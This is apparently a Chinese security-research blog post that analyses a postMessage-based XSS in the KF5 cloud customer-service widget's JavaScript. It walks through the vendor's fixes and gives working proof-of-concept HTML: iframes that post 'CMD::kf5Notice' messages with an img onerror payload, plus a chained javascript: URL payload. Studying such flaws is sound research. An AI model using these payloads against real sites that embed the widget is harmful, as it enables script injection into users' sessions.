简介
一套云客服系统, 以前我salt哥教我挖的xss, 自己以前做测试的时候遇到过几次用这系统的 打poc都能成功, 不过最近又遇到了一个, 尝试用以前的poc打的时候,发现失败了。看了一下最新的代码, 发现已经修复了。
修复方法为
1: 限制了postmessage的来源必须是support.kf5.com
2: showNotice方法当中, 把innerHTML改成了innerText
尝试绕过了一下, 算是失败了吧。
分析
这里首先以官网(http://www.kf5.com) 为例测试一下, 直接看看修复后的代码
每一个要使用这套云客户系统的客户, 都需要引入一个js文件。
http://assets-cdn.kf5.com//supportbox//main.js
1
2
3
|
<script type="text/javascript">
document.write('
<script src="\/\/assets-cdn.kf5.com\/supportbox\/main.js?' + (new Date).getDay() + '" id="kf5-provide-supportBox" kf5-domain="support.kf5.com" charset="utf-8">
<\/script>');
</script>
|
在这个js文件当中,
1
2
3
4
5
6
7
8
|
var easing = {
swing:
function (t) {
return
.5 -
Math.cos(t *
Math.PI) /
2
},
linear:
function (t) {
return t
}
};
setup(), autoPopupService()
|
调用了setup方法,
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
function setup() {
bindEvent(
window,
"DOMContentLoaded", KF5SupportBox.loadConfig), bindEvent(
window,
"load", KF5SupportBox.loadConfig), bindEvent(
window.document,
"page:load", KF5SupportBox.loadConfig), bindEvent(
window.document,
"onreadystatechange",
function () {
"complete" ===
window.document.readyState && KF5SupportBox.loadConfig()
}),
window.initializeKF5SupportBox || (
window.initializeKF5SupportBox = KF5SupportBox.loadConfig), bindEvent(
window,
"message",
function (t) {
var e, n, o;
if (t.origin.match(
/^https?:\/\/(.*)$/)[
1] === kf5Domain)
if (t.data &&
"string" ==
typeof t.data && (e = t.data.match(
/^([^ ]+)(?: +(.*))?/), n = e[
1], o = e[
2]),
"CMD::showSupportbox" === n) KF5SupportBox.instance && (KF5SupportBox.instance.open(), KF5SupportBox.instance.hideButton());
else
if (
"CMD::hideSupportbox" === n) KF5SupportBox.instance && KF5SupportBox.instance.close(
function () {
KF5SupportBox.instance.showButton()
});
else
if (
"CMD::resizeIframe" === n) ;
else
if (
"CMD::kf5Notice" === n) KF5SupportBox.instance && KF5SupportBox.instance.showNotice(o &&
JSON.parse(o));
else
if (
"CMD::newMsgCountNotice" === n) {
if (KF5SupportBox.instance) {
var i = KF5SupportBox.instance.getElement(
"#msg-number");
o =
parseInt(o), o ? (i.style.display =
"block", i.innerHTML = o <
10 ? o :
"...") : (i.style.display =
"none", i.innerHTML =
"")
}
}
else
if (
"CMD::showImage" === n) {
if (KF5SupportBox.instance) {
var s = KF5SupportBox.instance.getElement(
"#kf5-view-image"),
a = KF5SupportBox.instance.getElement(
"#kf5-backdrop"), r = s.parentNode || s.parentElement;
o = o ?
JSON.parse(o) : {}, a.style.display =
"block", r.setAttribute(
"href", o.url), r.setAttribute(
"title", o.name ||
""), s.setAttribute(
"src", o.url), s.setAttribute(
"alt", o.name ||
"")
}
}
else
"CMD::iframeReady" === n && KF5SupportBox.instance.onIframeReady()
}),
"string" ==
typeof lang && lang && KF5SupportBoxAPI.ready(
function () {
KF5SupportBoxAPI.useLang(lang)
})
}
|
在setup方法当中, 可以看到监听了window对象的message事件, 但是限制了来源(修复1), 在来源符合要求的情况下直接往这个页面postmessage就可以触发这个事件了。
1
|
if (t.origin.match(
/^https?:\/\/(.*)$/)[
1] === kf5Domain)
if (t.data &&
"string" ==
typeof t.data && (e = t.data.match(
/^([^ ]+)(?: +(.*))?/), n = e[
1], o = e[
2])
|
判断了postmessage的来源是不是kf5Domain, 如果是的话,才会进入下一个if然后再给n、o变量赋值。 如果不是的话, 没法进入if, n、o变量就都为两个未初始化的变量, 就利用不上了。
1
2
3
|
script =
window.document.getElementById(
"kf5-provide-supportBox"),
parts = script.src.split(
"//"), assetsHost = parts.length >
1 ? parts[
1].split(
"/")[
0] :
"assets.kf5.com",
kf5Domain = script.getAttribute(
"kf5-domain")
|
kf5Domain来自id为kf5-provide-supportBox的标签的kf5-domain属性。
1
|
<script src="//assets-cdn.kf5.com/supportbox_v2/main.js?v=20170307" id="kf5-provide-supportBox" kf5-domain="support.kf5.com">
</script>
|
所以kf5-domain就为support.kf5.com。 这里我们需要找一个support.kf5.com的xss才能接着看这个postmessage了。
找support.kf5.com的xss, 我还是首先看看有没有类似的postmessage造成的xss
一共监听了三个message事件, 在查看第一个的时候就发现了存在xss.
https://assets-cdn.kf5.com/supportbox_v2/main.js?v=20170307
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
window.initializeKF5SupportBox || (
window.initializeKF5SupportBox = KF5SupportBox.loadConfig),
bindEvent(
window,
"message",
function(t) {
var e, i, n;
if (t.data &&
"string" ==
typeof t.data && (e = t.data.match(
/^([^ ]+)(?: +(.*))?/),
i = e[
1],
n = e[
2]),
"CMD::showSupportbox" === i)
KF5SupportBox.instance && (KF5SupportBox.instance.open(),
KF5SupportBox.instance.hideButton());
else
if (
"CMD::hideSupportbox" === i)
KF5SupportBox.instance && KF5SupportBox.instance.close(
function() {
KF5SupportBox.instance.showButton()
});
else
if (
"CMD::resizeIframe" === i)
;
else
if (
"CMD::kf5Notice" === i)
KF5SupportBox.instance && KF5SupportBox.instance.showNotice(n &&
JSON.parse(n));
|
这个文件和之前未修复的文件很像, 没有限制来源。
再对传递过来的message数据通过正则以第一个空格分为两组, n变量为空格之前的字符, o变量为空格之后的字符。
n变量是用来选择进入哪个分支的, 这里看一下CMD::kf5Notice分支, 在进入CMD::kf5Notice分支之后会继续执行
1
2
|
else
if (
"CMD::kf5Notice" === n)
KF5SupportBox.instance && KF5SupportBox.instance.showNotice(o &&
JSON.parse(o));
|
这里对o变量从字符串解析到JSON之后, 作为参数传递到了showNotice方法。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
showNotice:
function(t) {
var e =
this
, i =
window.document.createElement(
"div");
return t =
"object" ==
typeof t ? t : {},
i.innerHTML =
this.getOpt(
"noticeTemplate").replace(
"{{title}}", t.title ||
"提示信息").replace(
"{{content}}", t.content ||
"").replace(
"{{avatar}}", t.avatar ||
this.getOpt(
"defaultNoticeAvatar")).replace(
"{{submitText}}", t.submitText ||
"接受").replace(
"{{cancelText}}", t.cancelText ||
"拒绝"),
this.closeNotice(),
this.noticeElement = i,
1 ===
this.getOpt(
"version") ?
document.body.appendChild(i) :
this.el &&
this.el.appendChild(i),
bindEvent(
document.getElementById(
"kf5-support-message-accept"),
"click",
function() {
e.open(),
e.hideButton(),
e.iframe && e.iframe.contentWindow && e.iframe.contentWindow.postMessage(
"CMD::kf5NoticeAccepted " +
JSON.stringify(t.data),
"*"),
e.closeNotice()
}),
bindEvent(
document.getElementById(
"kf5-support-message-reject"),
"click",
function() {
e.iframe && e.iframe.contentWindow && e.iframe.contentWindow.postMessage(
"CMD::kf5NoticeRejected " +
JSON.stringify(t.data),
"*"),
e.closeNotice()
}),
i
}
|
showNotice方法中, 使用传入进来的json对模板中的变量进行替换之后, 直接就进行innerHTML了, 可以直接xss。
1
2
3
4
5
6
7
8
9
|
<iframe id="demo" src="http://support.kf5.com" width="0" height="0">
</iframe>
<script type="text/javascript">
window.onload =
function(){
var popup = demo.contentWindow;
var msg =
'CMD::kf5Notice {"content": "<img/src=x οnerrοr=alert(document.domain) />"}'
popup.postMessage(msg,
"*");
}
</script>
|
但是这里只是https://assets-cdn.kf5.com/supportbox_v2/main.js 的xss而已, 其他客户引入的js都是http://assets-cdn.kf5.com//supportbox//main.js 。 所以继续尝试看看能不能使用supportbox_v2的xss来触发supportbox的xss。
现在找到了support.kf5.com的xss, 可以通过postmessage的来源判断了。
再继续往下看supportbox/main.js。
1
2
3
4
5
6
7
8
9
10
11
12
13
|
showNotice:
function (t) {
function e() {
o.open(), o.hideButton(), o.iframe && o.iframe.contentWindow && o.iframe.contentWindow.postMessage(
"CMD::kf5NoticeAccepted " +
JSON.stringify(t.data),
"*"), o.closeNotice()
}
var n, o =
this;
return t =
"object" ==
typeof t ? t : {}, n = renderTemplate(
this.getOpt(
"noticeTemplate"), {
noticeTitle: t.title ||
"æç¤ºä¿¡æ¯",
noticeContent: t.content ||
"",
noticeAvatar: t.avatar ||
this.getOpt(
"defaultNoticeAvatar"),
noticeAccept: t.submitText ||
"接å—",
noticeReject: t.cancelText ||
"æ‹’ç»"
}
|
supportbox中的showNotice并没有像supportbox_v2一样直接replace变量后就innerHTML, 而是使用了renderTemplate。(修复2)
1
2
3
4
5
6
|
function renderTemplate(t, e, n) {
var o, i =
document.createElement(
"div");
i.innerHTML = t;
for (
var s
in e) e.hasOwnProperty(s) && (o = i.getElementsByClassName ? i.getElementsByClassName(
"kf5-tpl-" + s) : getElementsByClassName(i,
"kf5-tpl-" + s), (o = o.length ? o[
0] :
null) && (n &&
"function" ==
typeof n[s] ? n[s](o, e[s]) :
"string" ==
typeof o.textContent ? o.textContent = e[s] : o.innerText = e[s]));
return i
}
|
而在renderTemplate当中, 使用的是innerText, 所以不能xss。
这里就只有选择其他的分支尝试xss, 但是看完了几个分支, 都没有合适的点可以xss, 只找到了一个地方能够点击xss(实在没啥用,并且我都不知道咋样才能点到这个a标签)。
1
2
3
4
5
6
7
|
else
if (
"CMD::showImage" === n) {
if (KF5SupportBox.instance) {
var s = KF5SupportBox.instance.getElement(
"#kf5-view-image"),
a = KF5SupportBox.instance.getElement(
"#kf5-backdrop"), r = s.parentNode || s.parentElement;
o = o ?
JSON.parse(o) : {}, a.style.display =
"block", r.setAttribute(
"href", o.url), r.setAttribute(
"title", o.name ||
""), s.setAttribute(
"src", o.url), s.setAttribute(
"alt", o.name ||
"")
}
}
|
在CMD::showImage分支下, 可以设置#kf5-view-image的alt/src属性。
可以设置#kf5-view-image标签的父节点的href/title属性。
kf5-view-image标签是img标签, 他的父节点是a标签。 所以可以通过父节点的href属性进行点击xss。
1
2
3
4
5
6
7
8
9
10
11
12
|
<iframe id="demo" src="http://support.kf5.com" width="100%" height="100%">
</iframe>
<script type="text/javascript">
window.onload =
function(){
var content =
`<iframe src=https://www.kf5.com/ id=demo2 οnlοad='var popup2 = demo2.contentWindow;var msg2 =\\\"CMD::showImage {\\\\\\"url\\\\\\":\\\\\\"javascript:alert(document.domain)\\\\\\"}\\\";popup2.postMessage(msg2, \\\"*\\\"); '>`
var popup = demo.contentWindow;
var msg =
`CMD::kf5Notice {"content": "${content}"}`
popup.postMessage(msg,
"*");
}
</script>
|